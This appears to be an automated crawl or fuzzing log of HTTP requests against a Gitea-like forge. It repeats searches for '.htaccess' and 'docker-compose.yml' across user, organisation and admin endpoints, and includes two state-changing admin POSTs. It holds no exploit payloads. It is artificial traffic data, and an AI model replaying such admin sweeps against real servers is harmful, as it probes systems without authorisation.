{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/teams/-/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/code?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/projects?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/projects?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=.htaccess&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/posters?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/posters?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=.htaccess&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 54", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=.htaccess&page=1"}
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 99", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=.htaccess&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
{"method": "GET", "target": "/explore/topics/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications/watching?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/teams/-/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/code?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/projects?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
